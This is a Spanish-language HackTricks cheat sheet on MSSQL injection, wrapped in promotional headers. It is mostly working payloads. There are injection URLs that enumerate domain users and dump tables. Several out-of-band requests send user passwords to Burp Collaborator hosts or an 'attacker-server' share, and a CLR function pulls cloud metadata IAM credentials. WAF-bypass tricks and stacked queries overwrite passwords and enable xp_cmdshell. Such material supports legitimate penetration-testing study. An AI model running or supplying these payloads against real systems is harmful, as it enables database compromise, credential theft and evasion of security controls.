15 KiB
Inyección MSSQL
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de HackTricks y HackTricks Cloud.
Enumeración de Active Directory
Puede ser posible enumerar usuarios de dominio a través de inyección SQL dentro de un servidor MSSQL utilizando las siguientes funciones de MSSQL:
SELECT DEFAULT_DOMAIN()
: Obtén el nombre del dominio actual.master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))
: Si conoces el nombre del dominio (DOMAIN en este ejemplo), esta función devolverá el SID del usuario Administrador en formato hexadecimal. Esto se verá como0x01050000000[...]0000f401
, nota cómo los últimos 4 bytes son el número 500 en formato big endian, que es el ID común del usuario administrador.
Esta función te permitirá conocer el ID del dominio (todos los bytes excepto los últimos 4).SUSER_SNAME(0x01050000000[...]0000e803)
: Esta función devolverá el nombre de usuario del ID indicado (si existe), en este caso 0000e803 en big endian == 1000 (usualmente este es el ID del primer ID de usuario regular creado). Entonces puedes imaginar que puedes forzar bruscamente los IDs de usuario desde 1000 hasta 2000 y probablemente obtener todos los nombres de usuario de los usuarios del dominio. Por ejemplo, utilizando una función como la siguiente:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
Vectores alternativos basados en errores
Las inyecciones SQL basadas en errores suelen parecerse a construcciones como +AND+1=@@version--
y variantes basadas en el operador «OR». Las consultas que contienen tales expresiones generalmente son bloqueadas por los WAFs. Como método de evasión, concatena una cadena utilizando el carácter %2b con el resultado de llamadas a funciones específicas que desencadenan un error de conversión de tipo de datos en los datos buscados.
Algunos ejemplos de dichas funciones:
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()
Ejemplo de uso de la función USER_NAME()
:
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
SSRF
fn_xe_file_target_read_file
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
Permisos: Requiere permiso VIEW SERVER STATE
en el servidor.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
fn_get_audit_file
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
Permisos: Requiere el permiso CONTROL SERVER
.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
fn_trace_gettable
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
Permisos: Requiere el permiso CONTROL SERVER
.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
xp_dirtree
, xp_fileexists
, xp_subdirs
El método más común para realizar una llamada de red que encontrará utilizando MSSQL es el uso del Procedimiento Almacenado xp_dirtree
, que curiosamente no está documentado por Microsoft, lo que provocó que fuera documentado por otras personas en Internet. Este método se ha utilizado en múltiples ejemplos de publicaciones sobre Exfiltración de Datos Fuera de Banda en Internet.
Esencialmente,
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
Al igual que LOAD_FILE
de MySQL, puedes usar xp_dirtree
para hacer una solicitud de red solo al puerto TCP 445. No puedes controlar el número de puerto, pero puedes leer información de recursos compartidos de red.
PS: Esto no funciona en Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
ejecutándose en un Windows Server 2016 Datacenter
en la configuración predeterminada.
Hay otros procedimientos almacenados **** como master..xp_fileexist
o xp_subdirs
que se pueden usar para obtener resultados similares.
xp_cmdshell
Obviamente, también podrías usar xp_cmdshell
para ejecutar algo que desencadene un SSRF. Para más información lee la sección relevante en la página:
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}
MSSQL Función Definida por el Usuario - SQLHttp
Es bastante sencillo escribir una CLR UDF (Función Definida por el Usuario del Common Language Runtime - código escrito con cualquiera de los lenguajes .NET y compilado en un DLL) y cargarla dentro de MSSQL para funciones personalizadas. Sin embargo, requiere acceso dbo
por lo que puede no funcionar a menos que la conexión de la aplicación web a la base de datos sea como sa
o con un rol de Administrador.
Este repositorio de Github tiene el proyecto de Visual Studio y las instrucciones de instalación para cargar el binario en MSSQL como un ensamblado CLR y luego invocar solicitudes HTTP GET desde dentro de MSSQL.
El código http.cs
utiliza la clase WebClient
para realizar una solicitud GET y obtener el contenido como se especifica
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}
En las instrucciones de instalación, ejecute lo siguiente antes de la consulta CREATE ASSEMBLY
para agregar el hash SHA512 del ensamblado a la lista de ensamblados confiables en el servidor (puede ver la lista utilizando select * from sys.trusted_assemblies;
)
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
Una vez agregada la asamblea y creada la función, podemos ejecutar lo siguiente para realizar nuestras solicitudes HTTP
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
Explotación rápida: Recuperar una tabla completa en una consulta
Existen dos maneras sencillas de recuperar el contenido completo de una tabla en una consulta — el uso de la cláusula FOR XML o la cláusula FOR JSON. La cláusula FOR XML requiere un modo especificado como «raw», por lo que en términos de brevedad FOR JSON la supera.
La consulta para recuperar el esquema, las tablas y las columnas de la base de datos actual:
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
Los vectores basados en errores necesitan un alias o un nombre, ya que la salida de expresiones sin ninguno de los dos no puede formatearse como JSON.
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
Recuperando la consulta actual
La consulta SQL actual que se está ejecutando se puede recuperar accediendo a sys.dm_exec_requests
y sys.dm_exec_sql_text
:
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
Permisos: Si el usuario tiene permiso VIEW SERVER STATE en el servidor, el usuario verá todas las sesiones en ejecución en la instancia de SQL Server; de lo contrario, el usuario solo verá la sesión actual.
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
Pequeños trucos para eludir WAF
Caracteres de espacio en blanco no estándar: %C2%85 или %C2%A0:
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
Notación científica (0e) y hexadecimal (0x) para ofuscar UNION:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
Un punto en lugar de un espacio en blanco entre FROM y el nombre de una columna:
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
Separador \N entre SELECT y una columna de relleno:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
Evasión de WAF con consultas apiladas no ortodoxas
Según este artículo de blog es posible apilar consultas en MSSQL sin usar ";":
Entonces, por ejemplo, múltiples consultas tales como:
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
Puede reducirse a:
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
Por lo tanto, podría ser posible eludir diferentes WAFs que no consideran esta forma de apilar consultas. Por ejemplo:
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Using weirdly built queries
admin'exec('update[users]set[password]=''a''')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Or enabling xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
Referencias
- https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
- https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.